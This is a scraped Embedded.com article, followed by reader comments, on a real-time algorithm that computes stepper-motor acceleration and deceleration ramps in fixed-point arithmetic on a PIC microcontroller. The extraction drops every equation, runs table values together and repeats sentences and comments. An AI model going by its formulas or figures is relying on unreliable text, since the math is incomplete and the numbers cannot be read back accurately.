Tools(/development/programming-languages-and-tools)Prototyping &Development(/development/prototyping-and-development)Real-time &Performance(/development/real-time-and-performance)Real-world Applications(/development/real-world-applications)Safety & Security(/development/safety-and-security)System Integration(/development/system-integration)GLOBAL NETWORK EE Times Asia (http://www.eetasia.com/) EE Times China (http://www.eet-china.com/) EE Times Europe (http://www.electronics-eetimes.com/) EE Times India(http://www.eetindia.co.in/) EE Times Japan (http://eetimes.jp/) EE Times Korea (http://www.eetkorea.com/) EE Times Taiwan (http://www.eettaiwan.com/) EDN Asia(http://www.ednasia.com/) EDN China (http://www.ednchina.com/) EDN Japan (http://ednjapan.com/) TechOnline India (http://www.techonlineindia.com/) ESC Brazil(http://www.escbrazil.com.br/en/) ESC India (http://www.esc-india.com/)\n(http://ubmcanon.com/)UBM Canon Electronics Engineering CommunitiesEE Times (http://www.eetimes.com/) | EDN (http://www.edn.com/) | EBN (http://www.ebnonline.com/) | DataSheets.com (http://www.datasheets.com/) | Embedded (http://www.embedded.com/) | TechOnline (http://www.techonline.com/) | Design News (http://www.designnews.com/) | DesignCon (http://www.designcon.com/) | ESC (http://www.embeddedconf.com/)Working With Us: About (http://ubmcanon.com/) | Contact Us (http://ubmcanon.com/design-and-manufacturing/) | Media Kits (http://ubmcanon.com/design-and-manufacturing/)Terms of Service (http://ubmcanon.com/terms-of-service/) | Privacy Statement (http://ubmcanon.com/privacy-policy/) | Copyright © 2015 UBM Canon All Rights Reserved (http://legal.us.ubm.com/copyright-notice/)"}],"string":"[\n {\n \"data\": \"(http://www.designcon.com/santaclara/?_mc=AD_DC16_BCS_RBN)\\n(http://www.embedded.com)CONTACT US (/CONTACTUS) • SUBSCRIBE TO NEWSLETTERSSUBSCRIBE TO NEWSLETTERS loginregisterDEVELOPMENTESSENTIALS & EDUCATIONCOMMUNITYARCHIVESABOUT USSearch\\n>>>>Home (/)MCUs, Processors & SoCs Development Centers (/development/mcus-processors-and-socs)Design How-To (/development/mcus-processors-and-socs/articles)\\n4Tweet\\n (mailto:?subject=Generate stepper-motor speed profiles in realtime&body=http://www.embedded.com/design/mcus-processors-and-socs/4006438/Generate-stepper-motor-speed-profiles-in-real-time)Generate stepper-motor speedprofiles in real timeDavid AustinDavid AustinDECEMBER 30, 2004\\nA new algorithm for stepper-motor acceleration allows speed profiles toA new algorithm for stepper-motor acceleration allows speed profiles tobe parameterized and calculated in real time. This algorithm can run on abe parameterized and calculated in real time. This algorithm can run on alow-end microcontroller using only simple fixed-point arithmeticlow-end microcontroller using only simple fixed-point arithmeticoperations and no data tables. It develops an accurate approximation foroperations and no data tables. It develops an accurate approximation forthe timing of a linear ramp with constant acceleration and deceleration.the timing of a linear ramp with constant acceleration and deceleration.It's commonly thought that the timing of a linear speed ramp for a stepper motor istoo complex to be calculated in real time. The exact formula for the step delay is inEquation 8. The solution has been to store the ramp data in precompiled arrays, butthis method is inflexible and wastes memory. The alternative has been to use amore powerful and expensive processor than otherwise needed or a high-levelstepper-control IC. This article develops an accurate approximation that has beenimplemented in C using 24.8 fixed-point arithmetic on a mid-range PICmicrocontroller.Motor step signals can be generated by a 16-bit timer-comparator module ascommonly integrated in microcontrollers. On the PIC, the CCP(capture/compare/pwm) performs this function. It allows steps to be timed to theresolution of one timer period. Each step advances the motor by a constantincrement, typically 1.8 degrees on a hybrid stepper motor.Share\\n25LikeLike\\nSPONSOR VIDEO, MOUSEOVER FOR SOUNDSPONSOR VIDEO, MOUSEOVER FOR SOUNDMOST READ06.26.2007Building Bare-Metal ARM Systemswith GNU: Part 1 - Getting Started(/design/mcus-processors-and-socs/4007119/Building-Bare-Metal-ARM-Systems-with-GNU-Part-1--Getting-Started)12.30.2004\\nThe timer frequency should be as high as possible while still allowing long delays asthe motor is accelerated from stop. A timer frequency of 1MHz has been used. Amaximum motor speed of 300rpm is then equivalent to a delay count of 1,000. It'snecessary to have high timer resolution to give smooth acceleration at high speed.Notation and basic formulasNotation and basic formulasDelay (sec) programmed by timer count c:\\n Equation 1f = timer frequency (Hz).Motor speed ω (rad/sec) at fixed timer count c:\\n Equation 2α = motor step angle (radian).1rad = 180/π = 57.3deg. 1rad/sec = 30/π = 9.55rpm.Acceleration ω' (rad/sec2) from adjacent timer counts c1 and c2:\\n Equation 3Equation 3 assumes fixed-count speed (Equation 2) at the midpoint of each stepinterval (Equation 1), as on a linear ramp, Figure 1. Note that ω' resolution isinversely proportional to the cube of the speed.\\nFigure 1: Figure 1: Ramp geometry: move of Ramp geometry: move of m=12 steps=12 stepsLinear speed ramp—exactLinear speed ramp—exactOn a linear ramp, acceleration ω' is constant, and speed ω(t) = ω'.t. Integration givesthe motor shaft angle θ(t):\\n Equation 4n ≥ 0 step number (real). When the shaft is at θ = n.α, (integer n) it's time for thenth step pulse:\\n Equation 5The exact timer count to program the delay between the nth and (n+1)th pulses (n≥ 0) is: \\n (/videos)video library (/videos)Generate stepper-motor speedprofiles in real time(/design/mcus-processors-and-socs/4006438/Generate-stepper-motor-speed-profiles-in-real-time)10.31.2013Altera’s Stratix 10 makes Cortex-A53 an extreme performanceplayer (/electronics-news/4423607/Altera-s-Stratix-10-makes-Cortex-A53-an-extreme-performance-player)\\nMOST COMMENTEDEMBEDDED (/VIDEOS)TV (/VIDEOS)\\n Equation 6The initial count c0 factorizes out to give Equations 7 and 8:\\n Equation 7\\n Equation 8Note that c0 sets the acceleration, proportional to (1/c0)2 .In real-time, Equation 8 would require calculation of a square-root for each step,with the added problem of loss of precision by subtraction.Approximating linear rampApproximating linear rampRatio of successive exact timer counts from Equation 8:\\n Equation 9Taylor series:\\n Equation 10Equation 11 is the second-order approximation to Equation 9 using Equation 10:\\n Equation 11Equation 11 can be rearranged for faster calculation:\\n Equation 12Finally, we can disconnect the physical step number, i, from the step number n on aramp from zero, to give the general-purpose ramp algorithm shown in Equation 13.Here n determines the acceleration and increments with i for constant acceleration.To ramp up from stop, ni = i, i=1,2, . . . :\\n Equation 13Negative n-values give deceleration. In particular, Equation 14, with ni = i - m, canbe used to ramp any speed down to stop in the final steps of a move of m steps:Datasheets.com(http://www.datasheets.com)Currently no itemsRELATED CONTENT12.30.2004 | DESIGNGenerate stepper-motor speedprofiles in real time(/design/mcus-processors-and-socs/4006438/Generate-stepper-motor-speed-profiles-in-real-time)11.01.2010 | SOURCE CODEMotor.c(/design/embedded/source-code/4210291/Motor-c)03.18.2005 | DESIGNTricks with PICs(/design/prototyping-and-development/4006445/Tricks-with-PICs)08.07.2007 | NEWSMicrochip launchessemiconductor Wiki (/electronics-news/4135755/Microchip-launches-semiconductor-Wiki)04.01.2009 | DESIGNLinear motor control without themath (/design/prototyping-and-development/4008259/Linear-motor-control-without-the-math)PARTS SEARCH\\n185 MILLION SEARCHABLE PARTSKNOWLEDGE CENTERpowered by DataSheets.com Equation 14Table 1: Table 1: Accuracy of the step-delay approximationAccuracy of the step-delay approximationStep nExact (9)Approx (11)Relative error10.41420.60000.448520.76730.77780.013630.84300.84620.0037040.88100.88240.0015250.90410.90487.66E-460.91960.92004.41E-4100.95110.95129.42E-51000.99500.99509.38E-81,0000.99950.99959.37E-11Accuracy of approximationAccuracy of approximationTable 1 shows that the approximation is accurate even at low step number n andrelative error decreases with n3. However, n=1 has a significant inaccuracy. Theinaccuracy at n=1 can be handled in two ways:Treat n=1 as a special case. Using c1 0.4056 c0 compensates for theinaccuracies at the start of the ramp and allows Equation 7 to be used tocalculate c0.Ignore the inaccuracy. In place of Equation 7 use Equation 15:\\n Equation 15The first alternative gives an almost perfect linear ramp. The second alternativestarts with a fast step. This is to the good, as it helps keep the motor movingbetween step pulses 0 and 1-and establishes the angle error needed to generatetorque. It also allows a wider range of accelerations to be generated with a 16-bittimer and has the advantage of simplicity. It's therefore recommended to ignore theinaccuracy at n=1.\\nFigure 2: Stepper-motor speed rampFigure 2: Stepper-motor speed rampFigure 3: Start of ramp detailFigure 3: Start of ramp detail\\nFigure 4: End of ramp detailFigure 4: End of ramp detailFigures 2 through 4 compare the options for a target ramp from 0 to 120rpm in1sec. For clarity, step changes in speed are shown, calculated from Equation 2. Thetrue profile should be close to a straight line.2.c/(4.n+1) in Equation 12 could be approximated by c/2.n. Some effects would be:The algorithm would still produce a linear ramp.c0 would be closer to the \\\"exact\\\" value shown in Equation 7: 88.6%instead of 67.6% for the same ramp acceleration.A single equation like Equation 13 could no longer be used for bothacceleration and deceleration.Changes of accelerationFrom Equations 4 and 5 we can obtain an expression for the step number n as afunction of speed and acceleration:\\n Equation 16Thus the number of steps needed to reach a given speed is inversely proportional tothe acceleration:\\n Equation 17This makes it possible to change the acceleration at a point on the ramp by changingthe step number n in the ramp algorithm Equation 13. Moreover, using signed ω'values results in signed n-values that behave correctly in the algorithm. Only ω' = 0needs special handling.The n-value given by Equation 17 is correct for tn. However cn represents an averagefor the interval tn .. tn+1. Equation 17 is usually adequate, but it's more accurate toadd a half-step to n-values for use in the ramp algorithm:\\n Equation 18The numerical example shown in Table 2 changes acceleration from 10 to 5 and to-20rad/sec2 from step 200. Complex speed profiles can be built up piecewise in thisway.Table 2: Table 2: Acceleration changesAcceleration changesStepinici (13)ω'(3)notes1981982,813.067 \\n199199398.5-100.252,806.0081010.(199+.5) =5.(398.5+.5) =-20.(-100.25+.5)200399.52,803.4985\\n201400.52,799.0015200-99.252,820.180-20\\n201-98.252,834.568-20Deceleration rampDeceleration rampFor a short move of m steps, where the up-ramp at ω'1 meets the down-ramp at ω'2before max speed is reached, the step number m at which to start decelerating is,from Equation 17:\\n Equation 19ω'1 = acceleration, ω'2 = deceleration (positive). Round n to integer and calculate cn.. cm-1 using Equation 14.In other cases, Equations 17 or 18 can be used to calculate the number of steps n2needed to stop at deceleration ω'2, given that the present speed was reached at stepn1 with acceleration ω'1. Round n2 to integer and calculate cm-n2 .. cm-1 using Equation14.Smooth shift to max speedSmooth shift to max speedThe ideal speed profile would make a smooth transition from ramp acceleration ω' tomax speed ωmax. Higher speed is possible by reducing the acceleration near the topof the ramp, and you can avoid possible undesirable effects of a discontinuity inacceleration.There are several ways to achieve a smooth transition while still allowing real-timecomputation on a low-end processor:Reduce ω' in stages, giving a piecewise linear transition.Add a power term to the denominator of the ramp algorithm.Scale the change from ci-1 to ci by a linear factor.Now let's compare these methods.Piecewise linearPiecewise linearThis method, shown in Figure 5, is very flexible. Any number of breaks can be used.A set of ω-values is chosen at which ω' is successively reduced. The ramp algorithmin Equation 13 is used. At each step, n is incremented, and if ω (or c) crosses abreak value, n is recalculated.Figure 5: PiecewiseFigure 5: PiecewiseFigure 5 results from the jth break given by (c)j=0 = 3.cmin, (c)j = ((c)j- 1+cmin)/2,(ni)j = 1.375.(ni- 1+1), j = 1,2,..,7. (c)j = delay count at jth break, cmin, = delaycount at ωmax.Power termPower termEquation 20 adds a power term to the denominator of the ramp algorithm (Equation12):\\n Equation 20At low speed (low step-number n), the power term k·np is negligible, so accelerationis constant. As speed rises, k·np starts to dominate, eventually reducing theacceleration to zero. A higher power p produces a sharper \\\"knee.\\\" The approach toωmax is asymptotic.The transition occurs around k·np = 4.n. This can be used to calculate anapproximate value for the constant k from initial acceleration ω' and required maxspeed ωmax:\\n Equation 21The graphs in Figure 6 use Equation 21 to calculate k for p=2,3,4,5. The curve fallsshort of ωmax for p=2 but k is good for higher powers.\\nFigure 6: Power term, Figure 6: Power term, p=2,3,4,5=2,3,4,5Linear factorLinear factorIn this method we run the ramp algorithm (Equation 12) up to step n1 and thenscale the changes in c by a factor that reduces from 1 at step n1 to 0 at step n2:\\n Equation 22\\nFigure 7: Linear factorFigure 7: Linear factorThe acceleration curve is fairly linear and symmetrical over the transition. ωmax isreached in about twice the time taken with no transition, as shown in Figure 7. ωmaxcan be estimated by integrating a continuous version of Equation 22,\\n. We obtain:\\n Equation 23Equation 23 is accurate for a wide range of parameters, including n1=0. It thensimplifies to Equation 24 (compare with Equation 16):\\n Equation 24In Figure 7, the linear factor method is applied with transition ranges starting at 0and 30%, 50%, and 70% of ωmax.A linear-factor transition can also be applied to the downramp:\\n Equation 25Step-number n3, the start of the transition from max speed to the down-ramp, iscalculated as in the previous example. For a short move, n3=n2, calculated byEquation 19.Figure 8: Linear factor: dual transitionsFigure 8: Linear factor: dual transitionsFigure 8 shows examples with and without a section at ωmax: m=700, ω'1 =10, ω'2= -20, n1=0, n2=432, n3=484; and m=500, n2=n3=333, other parametersunchanged.Transition methods in sumTransition methods in sumThe form of the transition curve is assumed to be less important than ease ofcalculation and control of parameters, particularly ωmax and the size of the transitionregion.The piecewise-linear method is flexible and can be arranged to require no morecalculation than a simple ramp, and give a visually smooth speed profile. It may notwork with some sets of parameters, though.In the power-term method, the k-parameter is easily calculated from ωmax.Calculating the power term creates problems in fixed-point arithmetic, as valuesvary over a wide range.The linear-factor method is recommended as reliable and easy to calculate in fixed-point arithmetic. Because ωmax is reached at a known step number, the method isgood for short moves and can transition from acceleration to deceleration with nodiscontinuity, as Figure 8 demonstrates. Starting the transition at n1=0 gives anarrow transition region, and it's straightforward to calculate n2 from ωmax.The methods are compared in Figures 5 through 7.ImplementationImplementationYou can implement this stepper-control algorithm using a PIC18F252 and a L6219.The L6219 stepper driver IC performs the following functions:Provides diode-protected H-bridge drives capable of 46V/750mA to thetwo motor windingsTranslates digital signals from the PIC to current direction in the motorwindings (PHASE1, 2 inputs)Limits each winding current to 0, 33%, 67%, or 100% of a preset value bychopping the drive to the H-bridge transistors (inputs I01, I11, I02, I12)The maximum current is set by a current-sense resistor for each winding.The L6219 doesn't have \\\"step\\\" and \\\"direction\\\" control lines like some stepper controlICs. The winding phase sequence must be provided by the PIC. This makes controlslightly more complicated but gives extra flexibility and reduces cost. It also meansthat the phase can be restored easily on power-up.By using the I-inputs, the L6219 can be used for half- and quarter-step operation.For full-step, they can be tied together and driven by one GPIO from the PIC.Microchip's PIC18F252 is a 28-pin device with the same footprint as the PIC16F876.The more powerful core of the '252 makes it easier to program in C. Figure 9 showshow the internal timing resources were configured for controlling the L6219.Figure 9: PIC18F252 timer configuration for L6219 interfaceFigure 9: PIC18F252 timer configuration for L6219 interfaceAn 8MHz crystal and the PIC's ×4 PLL frequency multiplier are used to generate a32MHz processor clock. This is divided by four to clock the timers at 8MHz. Drivingthe motor involves the following sequence:1. Get parameters: step count, direction, delay count c0, max speed and soforth.2. Set up hardware: initialise CCP1 and CCP2, enable motor current, enableCCP1 interrupts.3. Service CCP1 interrupts: count the steps and execute a state machine toreconfigure the CCPs and calculate the next timer value.4. Clean up: after the last step, disable CCP1 interrupts, current off, flag themove done.The listing (online at http://www.eetimes.com/design/embedded/source-code/4210291/Motor-c (http://www.eetimes.com/design/embedded/source-code/4210291/Motor-c)) is a minimal demo of these steps, with linear ramps, fixedmaximum speed and accelerations. The author used the CCS compiler. Minorchanges will be required for other compilers.Stepping outStepping outThe real-time algorithms I've explained here significantly reduce the processingpower needed for smooth speed control of stepper motors. The linear rampalgorithm can be adapted to piecewise linear speed profiles and smooth transitionsfrom ramp to max speed.David AustinDavid Austin is a freelance software engineer from Durham, U.K. You can reachhim at dave@slotech.fsnet.co.uk (mailto:dave@slotech.fsnet.co.uk).ResourcesResourcesAcarnley, Paul. Stepping Motors— A Guide to Theory and Practice, 4th edition.London: Institution of Electrical Engineers, 2002.Kenjo, Takashi and Akira Sugawara. Stepping Motors and their MicroprocessorControls, 2nd edition. Oxford University Press, March, 1995.Control of Stepping Motors— A Tutorial www.cs.uiowa.edu/~jones/step/(http://www.cs.uiowa.edu/%7Ejones/step/)4Tweet\\n (mailto:?subject=Generate stepper-motor speed profiles in realtime&body=http://www.embedded.com/design/mcus-processors-and-socs/4006438/Generate-stepper-motor-speed-profiles-in-real-time)Suppliers' Web sites:Suppliers' Web sites:PIC18F252 www.microchip.com (http://www.microchip.com)L6219 www.st.com (http://www.st.com)PIC C compiler www.ccsinfo.com (http://www.ccsinfo.com)Stepper motors www.rotalink.com (http://www.rotalink.com)Mathcad (graphs) www.mathsoft.com (http://www.mathsoft.com)Share\\n25LikeLike\\n14 COMMENTSDeepak_K (/User/Deepak_K) POSTED: JUN 12, 2015 6:52 AM EDTHi, After equation 12, I could not understand the approach. I think I veered awayfrom the point..I failed to understand this part: \\\"Finally, we can disconnect the physical step number, i, from the step number n on a ramp fromzero, to give the general-purpose ramp algorithm shown in Equation 13. Here n determines theacceleration and increments with i for constant acceleration. To ramp up from stop, ni = i, i=1,2,. . . :\\\" Can anyone please try to explain what is \\\"i\\\" and why did it come in? Also what is the difference between n and i?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Deepak_K (/User/Deepak_K) POSTED: SEPT 4, 2014 5:09 AM EDTHi, What if we just modulate the frequency of the pulse train to the motor with asine function (0 to 90 degrees)? Wouldn't that give a smooth s shaped curve?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jorick23 (/User/Jorick23) POSTED: AUG 14, 2014 3:56 PM EDTMy application has a very simple way of ramping quickly up to speed. Every stepinterrupt, I take the timer count (based on a 120 MHz clock) and shift it right(divide by power of 2) by a set amount and subtract the result from the timercount to get a new timer count for the next step. This results in a somewhatlinear increase in speed. This also works for speed decreases where the shiftedvalue is added to the timer count. For slower ramps of over a second, I have the starting and ending rates in a 64-bit integer,something like billionths of a revolution per second. Prior to the ramp, I figure out how much ofa rate increase or decrease needs to be done every millisecond (the tick count rate). Then Iconvert the rate to a timer count inside the tick interrupt with one divide by a precomputedconstant.REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jupiik (/User/Jupiik) POSTED: MAY 4, 2011 10:21 PM EDTI tried it the way altronics suggested and I got nonlinear speed profile (blue line in graph) thatsbecause (speed = distance / time) and time is below \\\"/\\\" so it has nonlinear function in speed butif you keep whole time in memory reversed value (1/time) and every step add constat value andWRITE A COMMENTTHEN reverse it and set to counter you will get nice linear speed profile (red onein graph) and i didnt have to use any hard Equations. But to be honest this articlewas base for whole my work/study about stepper motor speed profilesgenerating. (btw sorry for slovak in graph but anyway its obvious and I was lazyto translate it..) http://dl.dropbox.com/u/545374/rychlostny%20profil.jpg(http://dl.dropbox.com/u/545374/rychlostny%20profil.jpg)REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Sunil.Singh_#3 (/User/Sunil.Singh_%233) POSTED: JUL 24, 2011 12:43 PMEDTHi Jupiik, I tried to understand your comment but probably don't understand it fully.I would appreciate if you may elaborate \\\"whole time in memory reversedvalue (1/time) and every step add constat value and THEN reverse it and set to counteryou will get nice linear speed \\\". Thanks sunilREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Cch1955 (/User/Cch1955) POSTED: MAR 12, 2012 7:41 PM EDTHi Jupiik, i have project where you simplified computation for trapazoidal rampcalulation would be helpful. Is it possible to see you paper or the equationor code involved? Thanks so much. CCHREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Altronics (/User/Altronics) POSTED: MAR 13, 2011 5:37 AM EDTCouldn't that same linear ramp be more easily implemented by simply using asmall set delay time (say 1ms) multiplied by a start delay factor and a decreasingloop between each step? Example: Start delay time =100 //100ms decrement factor = 2 for (x=100; x=0; x=x-2) { move_motor_1_step(); delay(x); } get the idea? REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Triffid Hunter (/User/Triffid%20Hunter) POSTED: APR 10, 2011 10:59 PMEDTI wish it were that easy! acceleration is dv/dt. your algorithm increases dv while decreasing dt,giving an exponential change in velocity rather than linear. Thus, you either cannot attain high speeds because the motor can't supply enoughtorque, or your acceleration from slow speeds or stop is infuriatingly low. There will be asweet spot around the knee of this exponential curve, where you won't notice thedifference much, but if you're ramping significant mass from zero to some high speedyou'll be significantly affected. EMC2 simply has a constant velocity, and updates that velocity from a separate timerevery 10mS or so. It's a simple approach, albeit far less elegant than the one described inthis article.REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Susan.rambo (/User/Susan.rambo) POSTED: NOV 1, 2010 1:40 PM ESTI reposted the Motor.c code in our new source code library. You can find it herehttp://www.eetimes.com/design/embedded/source-code/4210291/Motor-c.(http://www.eetimes.com/design/embedded/source-code/4210291/Motor-c.)(The link in this article is also now up to date.) I'll be updating all the ESD/ESPmagazine source code archive links in the next month to make sure all sourcecode from Embedded Systems Programming/ESD magazine is connected to an article and viceversa. --Susan Rambo Managing editor, ESD magazineREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jamesyn (/User/Jamesyn) POSTED: JAN 10, 2014 4:13 PM ESThi miss. your link is not working . i can't download.pls give me another link.thak youREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Greatfog (/User/Greatfog) POSTED: NOV 1, 2010 12:39 PM ESTMs. Rambo, Managing Editor of Embedded Systems Design, has fixed the link tothe code. Thank you, ma'm!REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Dandumit (/User/Dandumit) POSTED: NOV 1, 2010 8:58 AM ESTGreat Info. I would like also to access the file motor.c but it seems to rejectanonymous login. Maybe someone can help ?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Tumnao (/User/Tumnao) POSTED: OCT 11, 2010 9:52 AM EDTGreat article! What are the credentials to download the example file (motor.c)?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)SUNMY (/User/SUNMY) POSTED: OCT 11, 2009 9:49 AM EDTgood job!REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Deepak_K (/User/Deepak_K) POSTED: JUN 12, 2015 6:52 AM EDTHi, After equation 12, I could not understand the approach. I think I veered awayfrom the point..I failed to understand this part: \\\"Finally, we can disconnect the physical step number, i, from the step number n on a ramp fromzero, to give the general-purpose ramp algorithm shown in Equation 13. Here n determines theacceleration and increments with i for constant acceleration. To ramp up from stop, ni = i, i=1,2,. . . :\\\" Can anyone please try to explain what is \\\"i\\\" and why did it come in? Also what is the difference between n and i?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Deepak_K (/User/Deepak_K) POSTED: SEPT 4, 2014 5:09 AM EDTHi, What if we just modulate the frequency of the pulse train to the motor with asine function (0 to 90 degrees)? Wouldn't that give a smooth s shaped curve?REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jorick23 (/User/Jorick23) POSTED: AUG 14, 2014 3:56 PM EDTMy application has a very simple way of ramping quickly up to speed. Every stepinterrupt, I take the timer count (based on a 120 MHz clock) and shift it right(divide by power of 2) by a set amount and subtract the result from the timercount to get a new timer count for the next step. This results in a somewhatlinear increase in speed. This also works for speed decreases where the shiftedvalue is added to the timer count. For slower ramps of over a second, I have the starting and ending rates in a 64-bit integer,something like billionths of a revolution per second. Prior to the ramp, I figure out how much ofa rate increase or decrease needs to be done every millisecond (the tick count rate). Then Iconvert the rate to a timer count inside the tick interrupt with one divide by a precomputedconstant.REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Jupiik (/User/Jupiik) POSTED: MAY 4, 2011 10:21 PM EDTI tried it the way altronics suggested and I got nonlinear speed profile (blue linein graph) thats because (speed = distance / time) and time is below \\\"/\\\" so it hasnonlinear function in speed but if you keep whole time in memory reversedvalue (1/time) and every step add constat value and THEN reverse it and set tocounter you will get nice linear speed profile (red one in graph) and i didnt haveto use any hard Equations. But to be honest this article was base for whole my work/studyabout stepper motor speed profiles generating. (btw sorry for slovak in graph but anyway itsobvious and I was lazy to translate it..) http://dl.dropbox.com/u/545374/rychlostny%20profil.jpg(http://dl.dropbox.com/u/545374/rychlostny%20profil.jpg)REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Sunil.Singh_#3 (/User/Sunil.Singh_%233) POSTED: JUL 24, 2011 12:43 PMEDTHi Jupiik, I tried to understand your comment but probably don't understand it fully.I would appreciate if you may elaborate \\\"whole time in memory reversedvalue (1/time) and every step add constat value and THEN reverse it and set to counteryou will get nice linear speed \\\". Thanks sunilREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Cch1955 (/User/Cch1955) POSTED: MAR 12, 2012 7:41 PM EDTHi Jupiik, i have project where you simplified computation for trapazoidal rampcalulation would be helpful. Is it possible to see you paper or the equationor code involved? Thanks so much. CCHREPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Altronics (/User/Altronics) POSTED: MAR 13, 2011 5:37 AM EDTCouldn't that same linear ramp be more easily implemented by simply using asmall set delay time (say 1ms) multiplied by a start delay factor and a decreasingloop between each step? Example: Start delay time =100 //100ms decrement factor = 2 for (x=100; x=0; x=x-2) { move_motor_1_step(); delay(x); } get the idea? REPLY (/LOGIN?ASSETID=203&SUCCESSFULLOGINREDIRECT=HTTP%3A%2F%2FWWW.EMBEDDED.COM%2FDESIGN%2FMCUS-PROCESSORS-AND-SOCS%2F4006438%2FGENERATE-STEPPER-MOTOR-SPEED-PROFILES-IN-REAL-TIME)Triffid Hunter (/User/Triffid%20Hunter) POSTED: APR 10, 2011 10:59 PMEDTI wish it were that easy! acceleration is dv/dt. your algorithm increases dv while decreasing dt,giving an exponential change in velocity rather than linear. Thus, you either cannot attain high speeds because the motor can't supply enoughtorque, or your acceleration from slow speeds or stop is infuriatingly low. There will be asweet spot around the knee of this exponential curve, where you won't notice thedifference much, but if you're ramping significant mass from zero to some high speedyou'll be significantly affected. EMC2 simply has a constant velocity, and updates that velocity from a separate timerevery 10mS or so. It's a simple approach, albeit 